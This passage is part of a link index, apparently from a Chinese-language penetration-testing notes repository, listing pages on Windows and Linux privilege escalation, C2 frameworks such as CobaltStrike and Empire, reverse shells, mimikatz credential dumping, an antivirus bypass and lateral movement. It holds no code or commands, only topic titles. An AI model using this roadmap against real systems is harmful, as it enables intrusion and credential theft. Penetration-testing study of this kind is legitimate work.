[RottenPotato](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/RottenPotato.md) - [PowerUp](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/PowerUp.md) - [Runas](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/Runas.md) - [令牌窃取](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/令牌窃取.md) - [未引用的服务路径](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/未引用的服务路径.md) - [Vulnerable-Services](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/Vulnerable-Services.md) - [DNS组到DomainAdmin](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/DNS组到DomainAdmin.md) - [HiveNightmare](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/HiveNightmare.md) - [PrintNightmare](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/PrintNightmare.md) - [SamAccountSpoofing](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/SamAccountSpoofing.md) - [SeBackupPrivilege](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/SeBackupPrivilege.md) - [SeImpersonatePrivilege](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/SeImpersonatePrivilege.md) - [SpoolFool](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/SpoolFool.md) - [弱注册表权限](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/弱注册表权限.md) - [CVE-2020-1472](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/CVE-2020-1472.md) - [AppLocker](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/AppLocker.md) - [DLL劫持](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/DLL劫持.md) - [EFSPotato](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/EFSPotato.md) - [JuicyPotato](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/JuicyPotato.md) - [RoguePotato](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/RoguePotato.md) - [watson](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/watson.md) - [WSL子系统](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/WSL子系统.md) - [本机文件和脚本](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/本机文件和脚本.md) - [不安全的GUI应用程序](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/不安全的GUI应用程序.md) - [从administrator到system](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/从administrator到system.md) - [打印机漏洞](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/打印机漏洞.md) - [服务中的不正确权限](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/服务中的不正确权限.md) - [环境变量优先](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/环境变量优先.md) - [恢复服务帐户的权限](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/恢复服务帐户的权限.md) - [弱权限的PATH目录](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/弱权限的PATH目录.md) - [特权文件写入](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/特权文件写入.md) - [未引用的服务路径](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/未引用的服务路径.md) - [Linux提权](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Linux提权/README.md) - [查找辅助信息](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Linux提权/查找辅助信息.md) - [查找可能泄露的密码](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Linux提权/查找可能泄露的密码.md) - [Linux-Exploit-Suggester](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Linux提权/Linux-Exploit-Suggester.md) - [一些检测工具](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Linux提权/一些检测工具.md) - [Linux计划任务](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Linux提权/Linux计划任务.md) - [可写文件提权](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Linux提权/可写文件提权.md) - [Sudo提权](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Linux提权/Sudo提权.md) - [Linux SUID提权](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Linux提权/LinuxSUID提权.md) - [漏洞提权](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Linux提权/漏洞提权.md) - [MYSQL-Linux-Root](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Linux提权/MYSQL-Linux-Root.md) - [LD_Preload提权](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Linux提权/LD_Preload.md) - [Lxd提权](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Linux提权/Lxd提权.md) - [MYSQL漏洞](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Linux提权/MYSQL漏洞.md) - [环境变量提权](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Linux提权/环境变量提权.md) - [通配符提权](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Linux提权/通配符提权.md) - [文件操作](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/文件操作/README.md) - [创建](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/文件操作/创建.md) - [Windows查找文件](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/文件操作/Windows查找文件.md) - [Linux查找文件](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/文件操作/Linux查找文件.md) - [解压](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/文件操作/解压.md) - [远程解压文件](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/文件操作/远程解压文件.md) - [压缩](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/文件操作/压缩.md) - [查找可写目录](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/文件操作/查找可写目录.md) - [传输](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/文件操作/传输/README.md) - [Bitsadmin](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/文件操作/传输/bitsadmin.md) - [Certutil](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/文件操作/传输/certutil.md) - [Curl](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/文件操作/传输/curl.md) - [Ftp](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/文件操作/传输/ftp.md) - [JS](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/文件操作/传输/js.md) - [nc](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/文件操作/传输/nc.md) - [perl](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/文件操作/传输/perl.md) - [php](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/文件操作/传输/php.md) - [powershell](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/文件操作/传输/powershell.md) - [py](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/文件操作/传输/py.md) - [SCP](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/文件操作/传输/scp.md) - [vbs](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/文件操作/传输/vbs.md) - [wget](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/文件操作/传输/wget.md) - [WindowsDefender](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/文件操作/传输/WindowsDefender.md) - [内网和域](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/README.md) - [信息搜集](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/信息搜集/README.md) - [Windows安全标识符SID](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/信息搜集/Windows安全标识符SID.md) - [Powershell基础操作](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/信息搜集/Powershell基础操作.md) - [Cmd](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/信息搜集/Cmd.md) - [Linux](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/信息搜集/Linux.md) - [Powerview](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/信息搜集/Powerview.md) - [BloodHoundAD](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/信息搜集/BloodHoundAD.md) - [ADDomain](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/信息搜集/ADDomain.md) - [临时HTTP服务架设](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/信息搜集/临时HTTP服务架设.md) - [Wmi](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/信息搜集/Wmi.md) - [端口映射和转发](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/端口映射和转发/README.md) - [chisel](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/端口映射和转发/chisel.md) - [iptables](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/端口映射和转发/iptables.md) - [lcx](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/端口映射和转发/lcx.md) - [msf](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/端口映射和转发/msf.md) - [netsh](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/端口映射和转发/netsh.md) - [ssf](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/端口映射和转发/ssf.md) - [ssh](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/端口映射和转发/ssh.md) - [SharpChisel](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/端口映射和转发/SharpChisel.md) - [Ligolo](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/端口映射和转发/Ligolo.md) - [命令与控制](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/README.md) - [Metasploit](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/Metasploit/README.md) - [常规使用](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/Metasploit/常规使用.md) - [细节使用](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/Metasploit/细节使用.md) - [模块](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/Metasploit/模块.md) - [meterpreter](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/Metasploit/meterpreter.md) - [与cs和empire交互](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/Metasploit/与cs和empire交互.md) - [CobaltStrike](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/CobaltStrike/README.md) - [安装](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/CobaltStrike/安装.md) - [部署](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/CobaltStrike/部署.md) - [模块](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/CobaltStrike/模块.md) - [连接](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/CobaltStrike/连接.md) - [监听](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/CobaltStrike/监听.md) - [攻击模块](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/CobaltStrike/攻击模块.md) - [视图模块](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/CobaltStrike/视图模块.md) - [交互](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/CobaltStrike/交互.md) - [Beacon](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/CobaltStrike/Beacon.md) - [克隆](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/CobaltStrike/克隆.md) - [office宏](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/CobaltStrike/office宏.md) - [钓鱼邮件](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/CobaltStrike/钓鱼邮件.md) - [加载脚本](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/CobaltStrike/加载脚本.md) - [浏览器劫持](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/CobaltStrike/浏览器劫持.md) - [权限维持](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/CobaltStrike/权限维持.md) - [横向移动](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/CobaltStrike/横向移动.md) - [隔离网络](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/CobaltStrike/隔离网络.md) - [代理](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/CobaltStrike/代理.md) - [Malleable C2](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令&控制/CobaltStrike/Malleable-C2.md) - [部署VPN](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/CobaltStrike/部署VPN.md) - [与msf和empire交互](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/CobaltStrike/与msf和empire交互.md) - [上线提醒](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/CobaltStrike/上线提醒.md) - [Empire](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/Empire/README.md) - [安装](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/Empire/安装.md) - [监听](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/Empire/监听.md) - [生成](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/Empire/生成.md) - [后门](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/Empire/后门.md) - [连接靶机及其他操作](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/Empire/连接靶机及其他操作.md) - [权限提升](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/Empire/权限提升.md) - [横向移动](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/Empire/横向移动.md) - [模块](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/Empire/模块.md) - [与cs和msf交互](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/Empire/与cs和msf交互.md) - [Empire_Word](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/Empire/Empire_Word.md) - [交互式shell](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/交互式shell.md) - [crackmap](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/crackmap.md) - [CobaltStrike](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/CobaltStrike.md) - [dnscat](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/dnscat.md) - [DNS-TXT-Command](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/DNS-TXT-Command.md) - [Empire](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/Empire.md) - [Jsrat](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/Jsrat.md) - [koadic](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/koadic.md) - [MSF](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/MSF.md) - [Openssl](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/Openssl.md) - [Powershell](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/Powershell.md) - [反弹shell](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/反弹shell.md) - [SILENTTRINITY](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/SILENTTRINITY.md) - [telegram](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/telegram.md) - [browser](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/browser.md) - [Gmail](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/Gmail.md) - [Dropbox](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/Dropbox.md) - [工具](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/工具.md) - [下载并执行](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/内网和域/命令与控制/下载并执行.md) - [HASH操作](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/README.md) - [密码破解网站](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/密码破解网站.md) - [GoogleColab破解HASH操作](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/GoogleColab破解HASH操作.md) - [密码策略](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/密码策略.md) - [开启Wdigest](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/开启Wdigest.md) - [Getpass](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/Getpass.md) - [QuarksPwDump](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/QuarksPwDump.md) - [MSF](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/MSF.md) - [mimikatz](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/mimikatz/README.md) - [绕过卡巴斯基](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/mimikatz/绕过卡巴斯基.md) - [Cisco_Jabber转储lsass](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/mimikatz/Cisco_Jabber转储lsass.md) - [dotnet2.0](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/mimikatz/dotnet2.0.md) - [dotnet4.0Msbuild](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/mimikatz/dotnet4.0Msbuild.md) - [Dumpert](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/mimikatz/Dumpert.md) - [JScript](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/mimikatz/JScript.md) - [mimikatz](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/mimikatz/mimikatz.md) - [mimipenguin](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/mimikatz/mimipenguin.md) - [横向批量抓HASH操作](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/mimikatz/横向批量抓HASH操作.md) - [远程LSASS进程转储-Physmem2profit](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/mimikatz/远程LSASS进程转储-Physmem2profit.md) - [Powershell_Bypass](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/mimikatz/Powershell_Bypass.md) - [Procdump64+mimikatz](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/mimikatz/Procdump64+mimikatz.md) - [调用mimikatz远程抓取](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/mimikatz/调用mimikatz远程抓取.md) - [SqlDumper+mimikatz](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/mimikatz/sqldumpermimikatz.md) - [域HASH提取](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/域HASH提取/README.md) - [impacket工具包](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/域HASH提取/impacket工具包.md) - [mimikatz](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/域HASH提取/mimikatz.md) - [MSF](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/域HASH提取/MSF.md) - [Nishang脚本](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/域HASH提取/Nishang脚本.md) - [NTDSDumpex](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/域HASH提取/NTDSDumpex.md) - [Ntdsutil](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/域HASH提取/Ntdsutil.md) - [Powersploit](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/域HASH提取/Powersploit.md) - [Vssadmin](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/域HASH提取/Vssadmin.md) - [Wmivssadmin](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/域HASH提取/Wmivssadmin.md) - [esentutl](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/域HASH提取/esentutl.md) - [缓存HASH获取](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/缓存HASH获取/README.md) - [Ninjacopy](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/缓存HASH获取/Ninjacopy.md) - [Quarks-pwdump](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/缓存HASH获取/Quarks-pwdump.md) - [注册表](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/缓存HASH获取/注册表.md) - [Empire](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/Empire.md) - [Invoke-Dcsync](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/Invoke-Dcsync.md) - [laZagne](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/laZagne.md) - [获取其他密码](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/获取其他密码/README.md) - [chrome](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/获取其他密码/chrome.md) - [firefox](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/获取其他密码/firefox.md) - [foxmail](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/获取其他密码/foxmail.md) - [navicat](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/获取其他密码/navicat.md) - [seatbelt](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/获取其他密码/seatbelt.md) - [securecrt](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/获取其他密码/securecrt.md) - [vncpass](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/获取其他密码/vncpass.md) - [破解工具](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/破解工具/README.md) - [hydra](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/破解工具/hydra.md) - [medusa](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH操作/破解工具/medusa.md) - [横向移动](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/README.md) - [添加域管命令](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/添加域管命令.md) - [探测存活主机](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/探测存活主机/README.md) - [For+Ping命令查询存活主机](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/探测存活主机/For+Ping命令查询存活主机.md) - [MSF](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/探测存活主机/MSF.md) - [NbtScan](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/探测存活主机/NbtScan.md) - [NetDiscover](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/探测存活主机/NetDiscover.md) - [NMAP](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/探测存活主机/NMAP.md) - [rp-scan](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/探测存活主机/rp-scan.md) - [代理nmap扫描](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/探测存活主机/代理nmap扫描.md) - [内外网资产对应](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/探测存活主机/内外网资产对应.md) - [探测服务&端口](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/探测服务&端口/README.md) - [CobaltStrike+K8Aggressor](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/探测服务&端口/CobaltStrike+K8Aggressor.md) - [Linux_Samba服务](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/探测服务&端口/Linux_Samba服务.md) - [Masscan](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/探测服务&端口/Masscan.md) - [MSF](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/探测服务&端口/MSF.md) - [Nc](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/探测服务&端口/Nc.md) - [常见端口](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/探测服务&端口/常见端口.md) - [Powershell](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/探测服务&端口/Powershell.md) - [PTScan](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/探测服务&端口/PTScan.md) - [SMB](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/探测服务&端口/SMB.md) - [执行命令&IPC&计划任务](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/执行命令&IPC&计划任务/README.md) - [AT](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/执行命令&IPC&计划任务/AT.md) - [IPC](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/执行命令&IPC&计划任务/IPC.md) - [Schtasks](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/执行命令&IPC&计划任务/Schtasks.md) - [Wmic](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/执行命令&IPC&计划任务/Wmic.md) - [共享](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/共享.md) - [快速定位域管理登过的机器](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/快速定位域管理登过的机器.md) - [MSF管道监听](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/MSF管道监听.md) - [MSF添加路由](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/MSF添加路由.md) - [代理](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/代理/README.md) - [chisel](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/代理/chisel.md) - [earthworm](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/代理/earthworm.md) - [frp](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/代理/frp.md) - [goproxy](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/代理/goproxy.md) - [shadowsocks](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/代理/shadowsocks.md) - [sock4a](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/代理/sock4a.md) - [socks5](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/代理/socks5.md) - [socks5web](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/代理/socks5web.md) - [SSF](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/代理/ssf.md) - [SSH](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/代理/ssh.md) - [Gost](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/代理/Gost.md) - [revsocks](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/代理/revsocks.md) - [GoToHTTP](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/横向移动/代理/GoToHTTP.md) - 